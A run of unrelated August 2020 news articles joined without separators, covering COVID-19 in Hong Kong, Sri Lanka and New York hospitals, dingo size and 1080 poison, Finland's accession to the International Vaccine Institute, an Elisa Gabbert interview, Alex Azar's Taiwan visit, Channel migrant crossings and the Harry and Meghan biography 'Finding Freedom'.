the charity said: 'Jessica Mulroney is a founding member of The Shoebox Project and she has dedicated herself to its growth and success over the years, for which we are very grateful. 'In light of recent events, the charity supports Jessicas decision to step away from the Board of Directors.' Jessica's husband Ben - the son of former Canadian Prime Minister Brian Mulroney - then stepped down from his role as the host of CTV's celebrity news show 'etalk', a position that he had held for 18 years. Hong Kong: HA investigates nurse's infection (To watch the full press briefing with sign language interpretation, click here.) The Hospital Authority announced today that it is investigating a COVID-19 case involving a Caritas Medical Centre (CMC) nurse. The 31-year-old nurse of the Medicine & Geriatrics Department at CMC had an onset of malaise, throat discomfort and a mild dry cough since August 6 and loss of smell and taste since August 8. She attended the hospitals accident and emergency department yesterday and preliminarily tested positive for COVID-19. Briefing the media on the case this afternoon, Hospital Authority Chief Manager (Clinical Effectiveness & Technology Management) Dr Linda Yu emphasised that while the nurses work does not involve contact with COVID-19 patients, she regularly wore protective equipment on duty. Under preliminary assessment, she didn't have any contact with confirmed cases and she was not working in isolation wards. So, we are still undergoing investigation for the possible source of her infection. As she worked in (the) hospital, she would (routinely) wear personal protective equipment as appropriate. So, we believe that (the measure) would reduce the chance of infecting others. Five nurses who had meals with her are classified as close contacts and have to be quarantined for 14 days. This story has been published on: 2020-08-11. To contact the author, please use the contact details within the article. The University of Manchester has graduated the first cohort of students from the Middle East Centre in Dubai studying the part-time MSc Reliability Engineering & Asset Management (REAM) programme. The first cohort comprised 10 students residing and working in the region. The virtual graduation ceremony for the Civil Engineering Class of 2020 was hosted by the MACE (Mechanical, Aerospace and Civil Engineering) department in Manchester and the online ceremony included a personal message from the President and Vice-Chancellor of The University of Manchester, Dame Nancy Rothwell. The first cohort of MSc REAM students graduating from the Middle East consisted of five nationalities residing in four countries - UAE, Saudi Arabia, Oman and Pakistan - with the majority from the UAE and Saudi Arabia. Three of the group graduated with Distinction. All of the graduates are qualified working professionals and half the cohort is currently working in the Oil & Gas sector in the region. The MSc REAM programme focuses on the practical application of theory to real-world industry needs, while students continue to work and apply their new knowledge in the workplace. It covers various aspects of applied management and technology in the field of REAM, and aims to enhance the capabilities of existing managers in the field through the programme structure and content, as well as new graduates entering the field or those with limited industry experience. The programmes teaching staff comprises internationally recognised professionals with years of experience working in industry and academic institutions. The course is fully accredited by The Institution of Mechanical Engineers. Dame Nancy Rothwell, President and Vice-Chancellor of The University of Manchester, said: This is a time when we celebrate all your achievements albeit in unusual circumstances. Its certainly a first for me as a way of marking your accomplishments. During the course of your studies you will have gained the skills and knowledge to help you find success in future years, and more recently you have proved even greater ability with your resilience and versatility in the face of a global transformation of our everyday lives and learning. Put simply, your achievement in completing your degree cannot be overestimated for its value and the strong platform it gives you to build your career and achieve your goals. So, armed with your academic success, your skills and your breadth of experience, there is every reason to be positive about the future. Your job prospects having studied here are enviable because employers all around the world recognise the value of the award you have gained. Remember our doors are always open to you. Randa Bessiso, Director-Middle East, The University of Manchester, added: We are delighted to graduate our first cohort of MSc REAM students from the Middle East and congratulate them all on their achievement. They have proved their resilience in completing this demanding blended learning programme and successfully balancing life, work and studies, even with the additional challenge of Covid-19 and so their accomplishments deserve special recognition in these exceptional circumstances. The virtual graduation ceremony is a compromise of course but we were very pleased that our President and Vice-Chancellor, Dame Nancy Rothwell, was able to join the ceremony and deliver her personal message of support to all the graduates. The University of Manchester Middle East Centre has supported more than 2,700 part-time MBA students based in the region and has graduated more than 1,700 students since opening in Dubai Knowledge Park in 2006, making it the largest and fastest growing centre in the Universitys international network. The University maintained its highest-ever position in the QS World University Rankings 2020, which lists The University of Manchester as the worlds 27th best university. QS university league tables also position the University at 6th in the UK and 8th in Europe, and part of the elite group of research-driven institutions.-- Tradearabia News Service A pesticide commonly used to kill dingoes in Australia is actually making them larger, a new study reveals. Dingoes were found to be nearly 10 percent larger in areas where poisoned bait, known as 1080, was used to cull the dogs. Scientists measured hundreds of dingoes' skulls where the pesticide was introduced in the 1960s and 1970s. The team found skulls had grown approximately four millimeters in length since the poison made of sodium fluoroacetate was first used - representing a 2.2-pound gain in body mass. Scroll down for video Researchers measured the skulls of dingoes before and after the introduction of 1080, a pesticide used to cull their numbers. They found the wild dogs are, on average, now larger than their ancestors Dingoes from a region where the pesticide wasn't used did not show similar growth, according to lead author Michael Letnic, a professor of conservation biology and ecosystem restoration at the University of New South Wales. Female dingoes had the biggest growth spurt since 1080's introduction. Their skulls were approximately 0.16 inches larger, translating to nearly nine percent more body mass. Male skulls enlarged by 0.14 inches, representing a six percent increase in mass. In areas where 1080 is being used, female dingoes had approximately 9 percent more body mass than before its introduction. Male dingoes saw an increase of roughly 6 percent Letnic ruled out interbreeding as an explanation for the evolution of larger dogs. 'We only tested dingoes in areas that have very low dog hybridization rates, making it highly unlikely that dog genetics are contributing to the size growth,' he said, according to Science News. And climate change would likely favor smaller dingoes, as larger animals favor cooler climates. Scientists believe the pesticide is killing off smaller dingoes, leaving larger dogs with less competition for food and mates Sodium flouroacetate, commonly known as 1080, was introduced in Australia in the 1960s and '70s to control the country's dingo population. But critics say it causes pain and distress and inadvertently kills farm animals and pets The likely explanation, said co-author Matthew Crowther of the University of Sydney, is that 1080 was killing off smaller dingoes, who would need less of the tasteless, odorless powder for a lethal dose. The remaining dogs then had less competition for food and a better chance at survival. Kangaroos, dingoes' primary prey, have been shown to increase in number when the native canines are culled. Previous studies have indicated the use of pesticides can affect invertebrates, but this is the first to show an impact on larger vertebrates. 'Animals respond to human interventions, whether directly or indirectly,' Letnic said. 'The changes could well be adaptive, and we must think about that.' Current scientific research suggests dingoes arrived in Australia about 3,000 years ago, according to Australian National University. Typically, 1080 is put in meat baits and then dropped from helicopters into areas dingoes frequent. The pesticide has faced controversy, though, as it causes 'pain and distress' to animals that ingest it, according to a report from the Invasive Species Council, and has resulted in the deaths of farm animals and pets. In 2019, a Queensland woman successfully had 1080 banned from the area near her property after several of her sheepdogs were fatally poisoned. The flag of Finland was raised at the International Vaccine Institute (IVI) Headquarters today during a ceremony welcoming the country's accession to IVI. Finland joined the Seoul-based international organization dedicated to vaccines for global health in response to the COVID-19 pandemic, committing an annual contribution of 500,000 EUR during the period of 2020 - 2025 to support IVI's core operations and 500,000 EUR for COVID-19 vaccine research and development this year. The Chairperson of IVI's Board of Trustees, George Bickerstaff, gave welcome remarks and the Minister of Social Affairs & Health of Finland, Aino-Kaisa Pekonen, and the First Lady of the Republic of Korea, Kim Jung-sook, offered their congratulations for the special event over video conferencing. The Ambassador of Finland to the Koreas, Eero Suominen, attended the ceremony in person to hoist the flag with the Director-General of IVI, Jerome Kim. Additionally, Korea's Ambassador of Global Health Security, Jong-Koo Lee; the President of the IVI-Korea Support Committee, Sang Chul Park; and the First Secretary of the Swedish Embassy, Victoria Rhodin Sandstrom, attended the event. We're proud to call Finland a member state of IVI, and we're extremely grateful for its support for our mission to eradicate infectious diseases in low- and middle-income countries, including COVID-19." Jerome Kim, Director-General, International Vaccine Institute "With its demonstrated commitment to join efforts to advance global health, eliminate poverty and reduce inequality, we see a host of possibilities for future collaboration between IVI and Finnish institutions. Vaccines must be a global public good, and it is the support and partnership of our member states like Finland that bring us closer to a future free of vaccine-preventable death and illness." Minister Pekonen said, "The commitment to equity in IVI's vision, to support developing countries become free of suffering from infectious diseases, is an important value to Finland...The development of vaccines requires time, resources and expertise. The IVI is an important partner in the global collaboration to reaching this goal, and Finland wants to play its part in supporting this crucial work." Madame Kim Jung-sook, who was inaugurated as the Honorary President of IVI's Support Committee on July 8, 2020, said, "I was deeply moved by Finland's healthcare system that makes nationwide effort to heal the pain of children...IVI aims to make a healthier tomorrow for humanity by forging Vaccine Solidarity Without Borders in the fight against a virus that knows no borders. I hope Finland's participation will bring forward the day we see this vision turn into reality." Ahead of the flag-raising, Director General Kim and Minister Pekonen signed a Memorandum of Understanding detailing the membership agreement over livestream video from Seoul and Helsinki. Representatives from IVI's other funding states, Korea, Sweden and India gave congratulatory remarks after the signing ceremony. Finland became the international organization's 36th member state following approval from its Board of Trustees and the country's deposit of an instrument of accession to the Agreement on the Establishment of the IVI with the United Nations. With their funding commitment, Finland is also the fourth member state contributing financial support to IVI, along with the Republic of Korea, Sweden, and India. Like the other state funders, Finland will send a representative to the IVI Board of Trustees. Finland officially joined IVI on August 1, 2020, and its accession represents IVI's first expansion of member states since 2012 with the addition of India. Elisa Gabbert didn't know she would be living through a global pandemic when she sat down to write The Unreality of Memory (FSG/released Aug. 11), her latest essay collection, which takes great interest in how people live through disasters and process their experiences. But the book, which the poet and essayist began in 2016, could not be more timely. Gabbert spoke with PW about what it was like to research some of the most harrowing moments in human history, what she's learned about pandemics, how poetry leaks into her prose, and more. What is it like to have a book preoccupied with disasters and memory come out in the midst of numerous disasters across the world: rapidly worsening climate change, a flailing U.S. presidency, increasing fascist populism worldwide, flaring tensions between the world's major powers, ongoing humanitarian crises in such countries as Yemen and Venezuela, the recent decimation of Beirut, and, of course, a global pandemic? Well, Im glad we still have books. Some days its hard for me to believe that anyone would want to read about disasters during a disaster, but multiple people have told me they found the book oddly comfortingwhich is exactly how I often felt when reading about the Black Death, or, even better, the PaleoceneEocene Thermal Maximum, a mysterious sudden global warming period 55 million years ago. Reading about history and especially deep geologic time can provide a kind of momentary psychic relief from all the suffering of the present. And my hope is that it somehow helps us think through the present into the future, though I wish I knew how to fix these problems. I wish I knew how to save the post office or end voter suppression. This collection deals with major historical moments and trends and massive collective reactions to them, but also examines very personal experiences and intimate responses from both you and your loved ones. How did you strike a balance between these two magnitudes, and how did you find a way to weave them all together? Though I wouldnt call this a book of personal essays, the essay as a form is inherently personala record of how Im processing time and material through my particular perspective, this singular, subjective consciousness. When Im working on an essay I experience a heightened consciousness: I notice what Im noticing, I think about how Im thinking. My approach as a writer has always been to make this stuff explicit, like the essayist (me) is there in the essay, almost as a character, doing this research, changing her mind. But I also get sick of myself, so my essays are rarely strictly personal. Your essay "The Great Mortality" is about plagues and pandemics throughout the agesit even quotes Anthony Fauci and mentions attempts to predict the next pandemic on the level of the flu of 1918. What kind of lessons did you learn from studying thousands of years of human attempts to cope with illnesses their doctors barely understood? How does it feel to return to that essay now? Heres a fun fact: my last pass edits were due in April, after lockdown had started. There was some question of whether I should update that essay with a mention of Covid-19. But how could I, really? What could I say about a pandemic that was still just beginning to unfold? Instead, I decided to annotate each essay with the year of composition. I wrote The Great Mortality in 2018; I wanted it to be clear to readers why there was no mention of the current pandemic. You might think I was more prepared for the coronavirus than the average person, but I cant say I was! Back in January or February, I remember my friend Sarah sending me links about the outbreaks in China and asking if I was worried. Im embarrassed to say I was pretty cavalier; I think I said Weve lived through flu panics before. I did exactly what everyone always does: I told myself the big disaster wouldnt (or couldnt) actually happen to me. During the research process for this collection, did you have to balance researching these grim topics with lighter fare? What was your reading process like at the time? I really loved doing the research for this book, and the truth is that being surrounded by library books, even if the books were about Hiroshima and Chernobyl, made me happyI was just so interested in learning more about these things, I would fall into flow. But once the book was done I absolutely needed a break. I went back to reading lots of novels and poetry and writing literary criticism. I think the only essay I wrote last year that was research-based was about hair metal. This is your second collection of essays. Around the occasion of your first, The Word Pretty, you told Read It Forward "I didnt really start off thinking about writing a book of essays at all." What made you decide to write a second? And does it come from a creative impulse similar to the one that drives your poetry? I didnt set out to write my first essay collection because I didnt have a sense that anyone wanted to read my prose. But what I discovered was actually a lot more people wanted to read my prose than wanted to read my poetry. I dont think this is because my poetry sucks (though who am I to say), I think its just that prose forms have a much wider audience. (Mary Ruefle, a poet whose essays are really popular, has said that poetry is private but prose is public; prose is public language.) So certain things that I had thought of as not really for me, as a writerthings like having an agent, writing a book proposalsuddenly seemed like maybe they could be for me. But I am still writing poems, and poetry is a very different way of communicating. In my nonfiction I really am trying to tell the truth, but poetry is closer to fiction; its more like creating a speculative reality that the ideas can live in. What are some ways writing poetry informs your essay writing that surprised you when you recognized them, and vice versa? I really care about the tiny details of language and punctuation in both prose and poetry, and I really care about the sound of my sentences, the rhythm of the paragraphI love the paragraph in isolation, the way it can feel like a prose poem, self-contained. I also like to think about what can be left outpoetry depends more on gaps, but the essay can make use of gaps as well. Theres an essay in The Word Pretty where I write about what I call invisible transitions, a kind of maneuver where the leap between two paragraphs or ideas is a little opaque, where you kind of spontaneously appear at point B rather than seeing a clear path from point A. The morning after the 2016 presidential election, you tweeted: "Life goes on, but at greatly reduced quality and not for as long." Relatedly, you end the collections second essay, "Doomsday Pattern," with "I feel this way all the time now. Nothing is safe. Everything's fine." Nearly four years later, do you feel the same way? In 2016, it felt like we were on the brink of disaster; now Id say were over the brink. Of course, things were already very bad then, but the devastation of the pandemic is just overwhelming. If you think about it too much youll never stop screaming. So I guess you could say I do feel the same: the only way to get through time alive is to spend a lot of it pretending that everythings fine. By Associated Press TAIPEI: Taiwan sent COVID-19 assistance to foreign countries surreptitiously to avoid protests from China, its foreign minister said on Tuesday during a meeting with the highest-level American official to visit the island in four decades. China claims Taiwan as its own territory and has sought to isolate it diplomatically, including barring its participation in forums such as the World Health Assembly. The trip by US Health and Human Services Secretary Alex Azar comes against the backdrop of a sharp downturn in relations between China and the US and Azar said in his remarks that the US supported Taiwan's participation in international health forums. China's attempts to isolated Taiwan has compelled the island at times to keep its donations of masks and personal protective equipment under the radar, Foreign Minister Joseph Wu said. ALSO READ | Hong Kongers buy arrested media mogul Jimmy Lai's 'Apple Daily' newspaper to support free press "Truth is, we even had to deliver these supplies quietly in some occasions to keep the recipients free from trouble, trouble from Beijing," Wu said. Taiwan has brought its virus outbreak under control, and Wu said the island has donated 51 million masks overseas, including 10 million to the US, along with other items of personal protective equipment. He did not name the other countries to which Taiwan has made quiet donations or give other details. Just 15 countries maintain formal diplomatic ties with Taiwan, and China has sought to peel away its remaining allies. Wu said Chinese pressure to accept political conditions for bringing Taiwan under Beijing's control has made life "increasingly difficult." However, acquiescence would merely turn Taiwan into another Hong Kong, Wu said, referring to recent arrests of media figures and pro-democracy activists under a new national security law being enforced in the semi-autonomous Chinese territory. "We know this is not just about Taiwan's status, but about sustaining democracy in the face of authoritarian aggression," Wu said. Azar described "political bullying" over Taiwan's exclusion from the World Health Organisation in 2018 that blocked a million-dollar Taiwanese contribution that would have helped combat an Ebola outbreak in Congo. "Especially during a pandemic, but at all times, international organisations should not be places to play politics," Azar said. While the US maintains only unofficial ties with Taiwan in deference to Beijing, it remains the island's most important ally and provider of arms. A 2018 US law urged Washington to send increasingly high-level officials to Taiwan in contrast to past years when such visits were extremely rare. Thus, Azar is the highest-level American official to visit Taiwan since their break in formal diplomatic ties in 1979. Relations between China and the US have deteriorated over issues ranging from the South China Sea to TikTok, Hong Kong and trade. In a throwback to the Cold War, the two recently ordered tit-for-tat closures of consulates in Houston and Chengdu and rhetorical sniping has become a daily occurrence. Source: Xinhua| 2020-08-11 17:08:27|Editor: huaxia Video Player Close COLOMBO, Aug. 11 (Xinhua) -- The Sri Lankan government's decision to promote agricultural production helped the country's economy endure a three-month curfew imposed to contain the COVID-19 pandemic, the central bank governor said. "The government opted for self-reliance during the curfew and we successfully maintained food security despite restrictions on imports throughout the curfew," Governor of the Central Bank of Sri Lanka, W.D. Lakshman told Xinhua. The government imposed a curfew from March 20 to June 28 to contain the COVID-19 outbreak. However, agricultural production continued with the state providing support in the form of import protection, debt relief, and facilitating distribution of food stuff. Lakshman said a Presidential Task Force on COVID-19, composed of administrative, health, police and security services, helped Sri Lanka succeed in containing the outbreak and re-opening its economy earlier than its neighbors. "At the current rate of opening up, we are optimistic of reaching a positive GDP growth target in 2020. We hope to reach 4.5 to 5-percent growth by 2021 and at least 6 percent in the years to come," the bank governor said. Meanwhile, an increase in remittances, combined with export recovery thanks to structural changes in the garment sector, which began producing personal protective equipment (PPE) to meet international demand, has helped cushion the country's foreign exchange reserves. Lakshman was appointed governor of the Central Bank of Sri Lanka on Dec. 24, 2019, and has overseen government policy to support economic activity through rate cuts and debt relief throughout the pandemic. Enditem Heroes wear masks College of Nursing alumni travel to New York City to fight COVID-19 This spring, as COVID-19 spiked in New York City, the nations largest metropolitan area became the face of the U.S. pandemic. Sixteen confirmed cases on March 9 mushroomed to 72,181 by April 6, and the official death toll was just as staggering surpassing 24,000 by May 2. In response, nurses from across the U.S. descended on the region, enduring personal hardship and risking their own health to help stem the tide. Housed in Times Square hotels and bused to area hospitals each morning, they pulled 12-hour shifts, often seven days a week. They witnessed death after death and consoled countless grieving family members. Between April and June, Carolinian reached out to three University of South Carolina College of Nursing alumnae who answered the call and showed the rest of us what it means to rise to the occasion. 'Just to be able to breathe' College of Nursing alumna Rosina Fadul went to the New York City area to help in the early bleak days of the COVID-19 pandemic. "After every medical attempt had failed, I would just go in the patients room and hold their hand until they passed away." Born in the Bronx, raised in Murrells Inlet, S.C., Rosina Fadul has worked as an oncology travel nurse for three-and-a-half years. She was in Hawaii when the virus hit Italy, Washington State and New York. She wanted to help patients, obviously, but also her fellow nurses or as she calls them, the sisterhood. My heart seriously broke for the nurses, how much they were struggling, says Fadul, who completed her BSN in 2015. I realized, I have the ability to make a difference, to help take off some of the burden. She arrived in New York April 8. Originally assigned to the hospital at NYU, she asked to be reassigned to Mountainview, a small community hospital in Hackensack, New Jersey, just on the other side of the Lincoln Tunnel, reasoning that neighboring communities were equally overwhelmed. She was right. All three 16-bed ICUs at the hospital were full, and the next floor was serving the same function. All the patients looked the same, too: intubated, on ventilators and multiple critical drips, turned on their stomachs and facing the same grim prognosis. In our entire unit during my first two weeks every patient died, Fadul says. And it had been like that for two to three weeks prior to me getting there. The staff was used to it by that point, they had developed procedures, but we were all just grasping at thin air. As an oncology nurse, Fadul has plenty of experience with death, but this was different. With COVID-19, loved ones were unable to visit, leaving nurses to communicate with families via text and video chat. It made me want to go the extra mile, she says. After every medical attempt had failed, I would just go in the patients room and hold their hand until they passed away. I finally just broke down one Saturday and started crying, like, When do we get a win? Eventually, she did. A 30-year-old male who had been intubated four separate times and coded more than once was transferred to a rehab facility. But most ICU patients were not so lucky, even after seeming to recover. The first to be successfully extubated and discharged from her unit was readmitted just weeks later, suffered a stroke and died. In May, Fadul transferred to a long-term acute care facility in Boston, where she would witness the aftermath of COVID-19: the neurological damage, the long road to recovery. Asked how the virus has changed her, she goes back to that Saturday when she finally broke down. For the first three weeks I had headaches from wearing a mask all day, she says. That day, I went outside and took the mask off and the air just felt so crisp. Ive always appreciated the small things in life, but after everything those first few weeks I was thankful even just for oxygen, just to be able to breathe. 'You can survive this' UofSC alumna Alesia McFarlin went to help in New York after surviving COVID-19. "I was able to say, Look, I survived this. You can survive this, too. Simpsonville, South Carolina, native Alesia McFarlin, DNP, BSN, FNP, knew what COVID-19 was like before she encountered her first patient. She and several family members in the Greenville-Spartanburg area contracted the virus in early March. I did my 14-day quarantine and still wasnt feeling good, she says. I had the fever, chills, body aches. I could barely walk. The experience motivated her to contact a placement service, which found her a temporary position at Lincoln Medical Center in the Bronx. She arrived in New York on April 5 and was still there when we reached her near the end of the month: unwinding at her hotel midway through another 84-hour work week. I felt like I could relate to the patients, she explains. I was able to say, I know how youre feeling. Ive had it too. I know its awful. Theyd look at me like, Really? But I was able to say, Look, I survived this. You can survive this, too. But while her own illness may have helped prepared her to work with patients suffering from the virus, the pandemics scale and rapid spread presented additional challenges. When I first landed, the airport was completely empty, eerie. I thought, OK, this is really happening, she says. And then my first day at the hospital I was a little nervous. You were just thrown into it. Even if you werent an intensive care nurse, thats where you were needed so you just have to jump into the action. In McFarlins case, that initially meant working with an attending physician handling both COVID and non-COVID patients, but she soon moved to the research department, where she joined a team running clinical trials on potential virus medications, including Sarilumab and Remdesivir. She is still involved in patient care I draw blood for clinical trials, and I do antibody testing of healthcare workers and nasal swabs and she has seen firsthand how fickle the virus can be. Ive seen 30-year-olds and 40-year-olds die from it. Ive seen 16-year-olds die from it. Healthy people and not-so-healthy people, she says. And Ive seen 80-year-olds survive it. It affects everyone differently. The work affects each nurse a little differently, too. For McFarlin, the 12-hour days are long, but she combats the fatigue with vitamins and plenty of sleep. She maintains her mental health through prayer. Im very spiritual, she says. I listen to a lot of gospel music. I pray before I get on my bus. And they have on-hand mental health counselors 24/7. We really have a lot of support, a lot of uplifting people. 'Together for the same mission' Stephanie Munoz earned her master's in nursing from UofSC after serving in the Air Force and working as an ICU nurse for 12 years. "It was chaos, but it was organized chaos. There were doctors from all over neurosurgeons working as ICU doctors. The camaraderie and teamwork were amazing." When we catch up with nurse practitioner Stephanie Munoz in June, she is enjoying a well-deserved vacation in Florida following several hectic weeks at Bellevue Hospital in Manhattan. Hilton Hotels is hosting her family and the families of many other nurses, in fact as a thank you. She is using the time to reconnect with her husband and three kids, to recharge and reflect. You dont really think about it while its happening. You dont cope with it. You just do it, she says. Coming back was really when I had to sit back and process what had happened. Like Fadul and McFarlin, Munoz worked 12-hour shifts for weeks on end. She would board the charter bus outside her Times Square hotel at 6 a.m. and not get back until close to 9 p.m. just in time for a late dinner, a shower, maybe a little television, then bed. During a 21-day stretch, she got two nonconsecutive days off. It was completely intense, she says. It was chaos, but it was organized chaos. There were doctors from all over neurosurgeons working as ICU doctors. The camaraderie and teamwork were amazing. I dont know if you can ever be prepared for something like this, but it was also really nice to see all of these people from all over come together for the same mission. As an example, she describes the work of the proning teams, whose sole job was to come through the ICUs turning patients onto their stomach and then onto their back every eight or nine hours, over and over. It doesnt sound that complicated, but when a patient is connected to a million different tubes and IVs and a breathing machine, its not easy, she explains. The hospital utilized their staff and resources so well. It was busy and chaotic, but we just did it. And the experience paid personal dividends for Munoz, who welcomes big challenges. Its why she joined the Air Force when she was 21, became an ICU nurse when she got out, and after 12 years in the field enrolled in the MSN program at UofSCs College of Nursing. She was in the final semester of the adult gerontology extra care nurse practitioner program when she signed up to go to New York. She graduated just days before our interview virtually! she says with a laugh. Her time at Bellevue, though, is still fresh in her mind. It brought me back to what I really want to do. It helped shape my trajectory toward urgent care and ICU, she says. Ive had people say, Take whatever job you can get, but no, I dont want to do a job that Im not really passionate about. The whole New York experience really reminded me why I do what I do and why I love what I love. Share this Story! Let friends in your social network know what you are reading about LONDON Britain said on Tuesday it wanted greater flexibility to return illegal immigrants back to France after a surge in the number of people embarking on the perilous journey across the English Channel in the hope of a better life. Hundreds of people, including some children, have been caught crossing to southern England from makeshift camps in northern France since Thursday - many navigating one of the worlds busiest shipping routes in overloaded rubber dinghies. British Prime Minister Boris Johnson has said he wants to stop the illegal crossings and has dispatched Immigration Minister Chris Philp to Paris for talks with the French government. Britain says the EUs so-called Dublin Regulation which currently governs the return of illegal immigrants is too inflexible and has very tight timeframes. Junior health minister Edward Argar said Johnson wanted more flexibility. What hes looking at, quite rightly, is greater flexibility in returning people who have come here illegally and need to be returned back to France," Argar told Sky News. Many of the migrants seeking to reach Britain come from Afghanistan, Iraq, Syria and countries in Africa, fleeing poverty, persecution or war. Some stand a chance of being granted asylum, while others, considered illegal economic migrants, are unlikely to be allowed to remain in Britain. Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor Royal expert Penny Junor has questioned whether Harry and Meghan 'colluded' with the Finding Freedom authors and says the couple would have 'kicked up a fuss' about the book had they not been involved. The controversial biography written by Omid Scobie and Carolyn Durand was released today and raised eyebrows for its gushing praise and intimate knowledge of the Duke and Duchess of Sussex. Ms Junor, author of Prince Harry: Brother, Soldier, Son, Husband, told MailOnline: 'The authors have some extraordinarily personal and private details about Harry and Meghan, but the couple have said they didn't speak to them directly and we have to take their word for it. 'What seems absolutely clear, however, is that they colluded. If not, they would have kicked up a huge fuss about this book. 'I suspect they wanted to get their story and their feelings about how they were treated out into the public arena and have done so via friends who sound as though they were very well and carefully briefed.' Prince Harry, Duke of Sussex and Meghan, Duchess of Sussex gesture during their visit to Canada House in thanks for the warm Canadian hospitality and support they received during their recent stay in Canada, on January 7, 2020 in London, England The controversial biography written by Omid Scobie (left) and Carolyn Durand (right) was released today and raised eyebrows for its gushing praise and intimate knowledge of the Duke and Duchess of Sussex. Scobie today denied ever interviewing the couple for the book and revealed that it was their 'many' friends who provided insights. Palace insiders have described the book as 'score settling' after Harry and Meghan left the Royal Family for a life in Los Angeles - after suddenly announcing their intentions in January in a move that left the Queen 'hurt'. The book gives a dramatic account of the events leading up to the Sussexes' departure from royal life and offers new insights to Harry's falling out with William. The fraternal dispute is said to have erupted after the Duke of Cambridge's referred to Meghan as 'this girl' and voiced concerns that his younger brother might be rushing into romance. The authors say Harry 'felt people working with his brother had put things out there to make William look good, even if it meant throwing Harry under the bus'. Excerpts from the book have already revealed many inside details about the couple's departure from the Royal Family, including how the couple considered driving straight to confront the 'devastated' Queen about Megxit after returning from Canada in January. Sources close to the couple also claim in the book that royal aides feared Meghan and Harry's popularity was eclipsing that of the Royal Family itself - and says the couple were jealous of William and Kate getting the best roles and 'didn't feel supported' by the royals. Among the fresh revelations in the book are: Meghan Markle formed such a close bond with Prince Charles that she considers him her 'second father'; Meghan was often 'seen carrying binders full of research on Royal protocol' so she didn't put a foot wrong; The Queen gave Meghan a royal masterclass in protocol and described Meghan as 'very clever and good'; Harry felt he was 'thrown under the bus' by aides working for his brother Prince William; Royal courtiers feared the brother's falling out 'could spell the end of the monarchy'; Meghan left the UK 'emotionally bruised and exhausted' after her last frosty event with William and Kate; Russian hackers stole hundreds of their personal photos in 2018 after gaining access to an online account. Prince Harry, Duke of Sussex and Meghan, Duchess of Sussex arrive to meet youngsters from across the Commonwealth as they attend the Your Commonwealth Youth Challenge reception at Marlborough House on July 05, 2018 in London, England Addressing the rift between William and Harry, the book says the falling out led senior royal courtiers to fear for the future of the monarchy. Finding Freedom author Omid Scobie says Meghan was the victim of 'racist and sexist tropes' in Britain and blames the monarchy for Megxit row because Royals refused to accept the Sussexes' demands The Duchess of Sussex was the victim of 'racist and sexist tropes' in Britain from commentators and royal courtiers who were resistant to change, the author of the controversial new biography Finding Freedom claimed today. Omid Scobie's book was finally released today after weeks of revelations from its pages telling Harry and Meghan's side of the Megxit story. It offers highly personal insights - although Scobie and co-author Carolyn Durand claim they did not interview Harry and Meghan, and the couple did not co-operate. They do say, however, that 'many' friends gave them details for the book and that every revelation is confirmed by at least two sources. Scobie said the authors 'had a lens to the couple through their friends and their circle of aides' as well as covering the couple's private and public engagements. Scobie and Durand have also blamed the monarchy for the bitterness of the Megxit row, saying it was the institution's resistance to change and refusal to accept Harry and Meghan's demands that led to the row over their departure from royal duties. Scobie told BBC Radio 4's Today programme how he felt Harry and Meghan had 'clearly tried to do their best to make it work' before Megxit took place in March. He added: 'They even went as far as presenting a potential roadmap for how they would navigate their roles moving forward, and ultimately it was the institution that turned back on them and told them what they had presented just wasn't an option. 'And so this is a couple that really wanted to make it work, but ultimately I think the setup of the royal institution just isn't built for change on that dramatic a level.' Scobie also claimed that Meghan was the subject of a narrative calling her 'Duchess Difficult' amid reports of her disagreements with palace staff. Among the aides who left the palace in the months after the royal wedding were communications expert Samantha 'the Panther' Cohen and assistant Melissa Toubati. The book claimed the couple had 'grown dissatisfied' with Toubati and were 'not disappointed when she left', despite a royal aide praising her as 'hugely talented'. And it claims the couple were 'forced to let go' of their son Archie's night nurse during her second shift 'for being unprofessional', without going into further details. Senior aides were also said to have been unimpressed by Meghan's lavish baby shower in New York in February 2019 with 'what looked like carefully stage-managed paparazzi walks of the duchess in big black sunglasses from her hotel to her car and a laundry list of insider party details'. Scobie also told ITV's Lorraine that commentary about Meghan 'used every kind of sexist and racist trope that we attach to successful women and women of colour'. Advertisement The Queen was said to be 'concerned' after the brothers falling out while Harry believed he and Meghan were 'thrown under the bus' to protect other members of the family. A courtier told the authors of Finding Freedom that a crisis meeting was held in 2019 to 'protect the monarchy.' Harry had fallen out with his brother after he voiced concerns that he might be rushing his romance with Meghan. The book says Harry considered this remark as 'snobbish' and relations between the once inseparable brothers worsened when Harry and Meghan moved out of Kensington Palace and split up the so called 'Fab Four' by setting up their own team to market the SussexRoyal brand. The authors said courtiers realised that if the brothers were at war the Monarchy might not survive. One courtier was quoted as saying: 'It's no secret, the future of this monarchy relies solely on the four people currently in Kensington Palace. The public popularity only lies with them ... When [Prince Charles] becomes King, the only way it lasts is if the four of them are not at war. We cannot have them at war.' A source told the authors: 'Harry was upset that it was playing out so publicly and that so much of the information being reported was wrong. 'There had been moments where he felt people working with his brother had put things out there to make William look good, even if it meant throwing Harry under the bus. 'It was a confusing time, and his head was all over the place - he didn't know who or what to believe, and he and William weren't talking enough either, which made everything a lot worse.' The falling out culminated at the Sussexes last public engagement in March 2019 before officially leaving Royal duties. The book claims that Harry and Meghan greeted William and Kate with smiles but claims the Cambridges 'barely acknowledged' them. And the couple left the service 'hurt' that they had been left off the official order of service which they took as a snub. The book tells how Meghan formed such a close bond with Prince Charles that she considers him her 'second father'. She is said to have found her father-in-law 'supportive and loving' from the moment she was introduced to him. A source told the authors that Meghan doesn't consider Charles a father-in-law but a 'second father'. Charles had walked Meghan down the aisle at her Windsor wedding when her own father Thomas Markle was forced to pull out due to health reasons. He had also embarrassed the soon to be wed couple by colluding with a photo agency for a series of staged shots, leading to a rift between father and daughter. The book says Charles was equally fond of Meghan who a friend of the Prince described as a 'sassy, confident beautiful American.' The authors write: 'Meghan had her own reasons for admiring her father-in-law, who had poignantly walked her down the aisle when her own father let her down.' At the time, a trusted confidant said Meghan 'found such a supportive and loving father in Charles, which has really changed her life for the better.' Not a father-in-law but a 'second father,' according to the source. A friend of Charles's said that the Prince of Wales had 'taken a real shine to Meghan. She's a sassy, confident, beautiful American. He likes very strong, confident women. 'She's bright, and she's self-aware, and I can see why they've struck up a very quick friendship.' Charles liked Meghan's energy. 'The Prince of Wales has always been fond of people from the Arts, like Emma Thompson, who he's been mates with for years,' another source said. The book says Meghan enjoyed a close friendship with Camilla and struck up a close rapport with the Queen with the former actress keen to learn everything about royal life. The Prince of Wales' official 70th photograph with his family is described as a planning 'nightmare' They had their first engagement together on June 14th 